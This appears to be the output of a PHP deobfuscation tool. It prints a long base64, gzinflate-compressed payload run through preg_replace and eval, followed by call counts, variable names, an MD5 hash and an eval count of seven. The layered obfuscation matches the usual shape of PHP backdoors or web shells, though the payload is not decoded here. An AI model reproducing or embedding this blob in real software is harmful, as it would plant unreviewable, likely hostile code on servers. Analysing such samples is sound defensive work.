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'\x29\x29\x29\x3B","");
?>

Function Calls

gzinflate 4
daypcq14171 1
preg_replace 3
base64_decode 4

Variables

$a base64_decode
$b gzinflate
$str 7T39d9s2kr/3vf4PjKsLpUaWZCdNuv6M67pNXtM45zh7tye7XFqibNYSqSWp..

Stats

MD5 586e3df8048ddfb1f29987942cc86435
Eval Count 7
Decode Time 140 ms